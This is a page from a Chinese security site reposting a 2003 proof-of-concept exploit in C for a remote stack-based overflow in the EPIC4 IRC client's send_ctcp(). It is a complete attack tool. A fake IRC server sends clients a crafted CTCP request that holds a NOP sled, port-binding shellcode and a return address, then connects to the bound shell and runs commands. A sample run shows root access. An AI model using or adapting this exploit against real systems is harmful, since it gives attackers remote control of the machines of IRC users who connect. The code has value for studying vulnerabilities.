首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
EPIC4 remote client-side stack-based overflow
来源:www.voila.fr 作者:Li0n7 发布时间:2003-11-27  

/* EPIC4 remote client-side stack-based overflow

* by Li0n7 - Li0n7[at]voila[dot}fr

*

* EPIC4 versions later than pre2.003 are prone to a remotly exploitable

* stack-based overflow in send_ctcp() (src/ctcp.c). It occurs when

* strlen(to) is greater than IRCD_BUFFER_SIZE-12, then alloca(), that

* doesn't perform any boundary checking, will return a negative pointer

* As a matter of fact, snprintf is called with a negative value as

* maximum data lenght to write at *putbuf2 address (pointing to somewhere

* inside the stack). Since we can control the content of the buffer written

* at *putbuf2 address without any boundary checking, we can easily execute

* arbitrary code.

*

* This little proof-of-concept code demonstrates the exploitation of the

* bug discussed here: http://www.securitytracker.com/alerts/2003/Nov/1008131.html

*

* This exploit works as a fake IRC server, waiting for connection and then

* trying to take advantage of the vulnerabilty by sending a specially CTCP

* request crafted like this: [NOP...SHELLCODE] PRIVMSG a: \001PING [RET]\001\r\n

* This code needs a few changes to work as a bouncer and more targets to be

* really efficient.

*

* usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]

* -p: wait for connection on port <PORT>

* -t: choose the target among the platforms available

* -f: use <FILE> datas as welcome message

* -r: use <RET> as return address

*

*

*$ ./epic4-exp -p 6667 -t 0 -v

*[+] Setting up a fake IRC server...

*[+] Awaiting connection on port 6667

*[!] Connection established with 127.0.0.1

*

*[127.0.0.1] USER request received.

*[127.0.0.1] NICK request received.

*[127.0.0.1] Fake replies sent.

*[127.0.0.1] Ping sent.

*[127.0.0.1] Looking up client version...

*[127.0.0.1] Client version: ircII EPIC4pre2.002 Linux 2.4.20 - Accept no limitations.

*[127.0.0.1] Welcome message sent.

*[127.0.0.1] Building evil string to send (using ret '0xbfffd06b')...

*[127.0.0.1] Evil CTCP request sent.

*

*[+] Let's rock on!

*Linux li0n7 2.4.20 #2 Mon Mar 17 22:02:15 PST 2003 i686 unknown

*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

*

*/


#include <stdio.h>

#include <unistd.h>

#include <netdb.h>

#include <netinet/in.h>

#include <errno.h>

#define D_BACK 26112

#define D_RET 0xbfffd06b

#define D_PORT 6667

#define HOSTNAME ": NOTICE AUTH :*** Looking up your hostname...\r\n"

#define IDENT ": NOTICE AUTH :*** Checking Ident\r\n"

#define HOST_FOUND ": NOTICE AUTH :*** Found your hostname\r\n"

#define PING "PING :571503427\r\n"

#define BUFFERSIZE 602

#define SIZE 1024

char shellcode[] = /* bighawk 78 bytes portbinding shellcode (26112) */

"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"

"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"

"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"

"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"

"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"

"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"

"\x89\xe1\xb0\x0b\xcd\x80";

int back_connection(long host);

char * build(char *host);

char * build_welcome_mes(char *host,char *version);

long resolve_host(u_char *host_name);

void send_mes(int fd,char *host);

void wait_connection(int port,char *buffer);

void die(char *argv);

unsigned int check_version = 0;

unsigned char welcome[128];

unsigned long ret_addr;

struct os_ret_addr

{

int num;

char *plat;

long ret;

};

struct os_ret_addr exp_os[]=

{

{0,"slack 9.0",0xbfffd06b},

{0,NULL,0}

};

int

main(int argc,char *argv[])

{

int i, option, port = D_PORT;

long host = 0;

char * option_list = "f:p:r:t:v", buffer[SIZE+1];

opterr = 0;

memset(welcome,0,128);

if (argc < 2) die(argv[0]);

while((option = getopt(argc,argv,option_list)) != -1)

switch(option)

{

case 'f':

strncpy(welcome,optarg,sizeof(welcome)-1);

welcome[sizeof(welcome)-1] = '\0';

break;

case 'p':

port = atoi(optarg);

if(port > 65535 || port < 0) exit(-1);

break;

case 'r':

ret_addr = atol(optarg);

if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(0);

break;

case 't':

for(i=0; exp_os[i].plat != NULL; i++)

if(atoi(optarg) > i || atoi(optarg) < 0)

{

fprintf(stderr," Platforms supported are:\n");

for(i=0; exp_os[i].plat != NULL; i++)

fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);

exit(0);

}

ret_addr = exp_os[atoi(optarg)].ret;

break;

case 'v':

check_version = 1;

break;

case '?':

fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);

die(argv[0]);

}

wait_connection(port,buffer);

return 0;

}

char

*build(char *host)

{

char *buffer,*ptr,*request,*ret;

int i;

unsigned long *addr_ptr;

fprintf(stdout,"[%s] Building evil string to send (using ret \'0x%x\')...\n",host,ret_addr);

buffer = (char *)malloc(BUFFERSIZE+1);

request = (char *)malloc(SIZE+1);

ret = (char *)malloc(256);

if(!buffer || !request || !ret)

{

fprintf(stderr,"[-] Can't allocate memory,exiting...\n");

exit(0);

}

ptr = buffer;

memset(ptr,0x90,BUFFERSIZE);

ptr += 500-strlen(shellcode);

for(i=0;i<strlen(shellcode);i++)

*ptr++ = shellcode[i];

ptr += 102;

*ptr = 0x0;

ptr = ret;

addr_ptr = (long *)ptr;

for(i=0;i<151;i+=4)

*(addr_ptr++) = ret_addr;

ptr = (char *)addr_ptr;

*ptr = 0x0;

snprintf(request,SIZE,":%s!x PRIVMSG a: %cPING %s%c\r\n",buffer,0x01,ret,0x01);

return request;

}

int

back_connection(long host)

{

struct sockaddr_in s;

u_char sock_buf[4096];

fd_set fds;

int fd,size;

char *command="/bin/uname -a ; /usr/bin/id;\n";

fd = socket(AF_INET, SOCK_STREAM, 0);

if (fd < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

s.sin_family = AF_INET;

s.sin_port = htons(D_BACK);

s.sin_addr.s_addr = host;

if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

close(fd);

exit(0);

}

fprintf(stdout, "\n[+] Let's rock on!\n");

size = send(fd, command, strlen(command), 0);

if(size < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

close(fd);

exit(0);

}

for (;;)

{

FD_ZERO(&fds);

FD_SET(0, &fds);

FD_SET(fd, &fds);

if (select(255, &fds, NULL, NULL, NULL) == -1)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

close(fd);

exit(0);

}

memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(fd, &fds))

{

if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)

{

fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");

close(fd);

exit(0);

}

fprintf(stderr, "%s", sock_buf);

}

if (FD_ISSET(0, &fds))

{

read(0, sock_buf, sizeof(sock_buf));

write(fd, sock_buf, strlen(sock_buf));

}

}

return 0;

}

char *

build_welcome_mes(char *host,char *version)

{

FILE *fd;

char *buffer,*file_buffer;

buffer = (char *)malloc(1024);

file_buffer = (char *)malloc(512);

if(!buffer)

{

fprintf(stderr,"[-] Can't allocate memory,exiting...\n");

exit(0);

}

if(strlen(welcome) > 0)

{

fd = fopen(welcome,"r");

if(fd < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

memset(buffer,0,1024);

while(1)

{

if(fgets(file_buffer,512,fd) == NULL) break;

strncat(buffer,file_buffer,1021);

}

fclose(fd);

strcat(buffer,"\r\n");

}else{

snprintf(buffer,1024,": NOTICE AUTH :*** Welcome dude\n"

": NOTICE AUTH :*** Your host is %s, running client %s\n"

": NOTICE AUTH :*** This server was created in the past\n"

": NOTICE AUTH :*** There are 1 users and 0 services on 0 servers\n"

": NOTICE AUTH :*** I have 1 clients and 0 servers\r\n",host,version);

}

return buffer;

}

void

send_mes(int fd,char *host)

{

int size;

char buffer[1024],data[1024],request[512],version[512];

char *ptr;

size = send(fd,HOSTNAME,strlen(HOSTNAME),0);

if(size < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

sleep(1);

size = send(fd,IDENT,strlen(IDENT),0);

if(size < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

sleep(1);

size = send(fd,HOST_FOUND,strlen(HOST_FOUND),0);

if(size < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

sleep(1);

fprintf(stdout,"[%s] Fake replies sent.\n",host);

size = send(fd,PING,strlen(PING),0);

if(size < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

fprintf(stdout,"[%s] Ping sent.\n",host);

size = read(fd,data,1024);

if(strstr(data,"PONG"))

{

if(check_version)

{

memset(version,0,512);

memset(request,0,512);

fprintf(stdout,"[%s] Looking up client version...\n",host);

sprintf(request,":x!x PRIVMSG %s: %cVERSION%c\n",host,0x01,0x01);

size = send(fd,request,strlen(request),0);

if(size < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

memset(data,0,1024);

while(1)

{

size = read(fd,data,1024);

if((ptr = strstr(data,"VERSION ")) != NULL)

{

memset(version,0,512);

strncpy(version,ptr+8,sizeof(version)-1);

version[sizeof(version)-1] = '\0';

fprintf(stdout,"[%s] Client version: %s",host,version);

sleep(3);

break;

}

}

}

strncpy(buffer,build_welcome_mes(host,version),1023);

buffer[1023] = '\0';

size = send(fd,buffer,1024);

fprintf(stdout,"[%s] Welcome message sent.\n",host);

sleep(1);

memset(buffer,0,1024);

strncpy(buffer,build(host),1023);

buffer[1023] = '\0';

size = send(fd,buffer,1024);

sleep(1);

fprintf(stdout,"[%s] Evil CTCP request sent.\n",host);

}

return;

}

void

wait_connection(int port,char *buffer)

{

struct sockaddr_in s;

int size, fd, fd2, r;

char data[1024], nick[512], user[512];

char *ptr;

long host = 0;

memset(data,0,1024);

fprintf(stdout,"[+] Setting up a fake IRC server...\n");

fd = socket(AF_INET,SOCK_STREAM,0);

if(fd < 0)

{

fprintf(stderr,"[-] %s\n",strerror(errno));

exit(0);

}

s.sin_port = htons(port);

s.sin_addr.s_addr = 0;

s.sin_family = AF_INET;

bind(fd,(struct sockaddr *) &s,sizeof(s));

listen(fd,1);

size = sizeof(s);

fprintf(stdout,"[+] Awaiting connection on port %i\n",port);

while(1)

{

fd2 = accept(fd,(struct sockaddr *) &s, &size);

fprintf(stdout,"[!] Connection established with %s\n\n",inet_ntoa(s.sin_addr));

if(!fork())

{

close(fd);

while(1)

{

memset(data,0,1024);

r = read(fd2,data,1024);

if((ptr = strstr(data,"USER ")) != NULL)

{

memset(user,0,512);

strncpy(user,ptr+5,sizeof(user)-1);

user[sizeof(user)-1] = '\0';

fprintf(stdout,"[%s] USER request received.\n",inet_ntoa(s.sin_addr));

}

if((ptr = strstr(data,"NICK ")) != NULL)

{

memset(nick,0,512);

strncpy(nick,ptr+5,sizeof(nick)-1);

nick[sizeof(nick)-1] = '\0';

fprintf(stdout,"[%s] NICK request received.\n",inet_ntoa(s.sin_addr));

}

if((strlen(nick) > 0) && (strlen(user) > 0)) break;

}

send_mes(fd2,inet_ntoa(s.sin_addr));

back_connection(host);

}

close(fd2);

}

return;

}

long resolve_host(u_char *host_name)

{

struct in_addr addr;

struct hostent *host_ent;

addr.s_addr = inet_addr(host_name);

if (addr.s_addr == -1)

{

host_ent = gethostbyname(host_name);

if (!host_ent) return(0);

memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);

}

return(addr.s_addr);

}

void

die(char *argv)

{

fprintf(stderr," remote exploit for EPIC4 < pre2.003 by Li0n7@voila.fr \n");

fprintf(stderr," vulnerability reported by Stuart Moore < smoore@securityglobal.net >\n");

fprintf(stderr," usage: %s [-p PORT][-t TARGET][-f FILE][-r RET][-v]\n",argv);

fprintf(stderr,"\t -p: wait for connection on port <PORT>\n");

fprintf(stderr,"\t -t: choose the target among the platforms available\n");

fprintf(stderr,"\t -f: use <FILE> datas as welcome message\n");

fprintf(stderr,"\t -r: use <RET> as return address\n\n");

exit(0);

}

/* A poil! */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·85NIPrint.c 远程攻击程序
·phpBB v2.06 search_id sql inje
·XP图象式样让权限提升的漏洞
·phpbb_sql.pl
·RPC溢出漏洞(MS03-26)攻击代码
·MS03-043 - Messenger exploit b
·WS_FTP FTPD "STAT"命令远程溢出
·vBulletin Forum 2.3.xx SQL Inj
·linx86_sendmail.c
·Microsoft ASN.1 Library Buffer
·smartass.pl
·Serv-U \site chmod xxx \Exploi
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved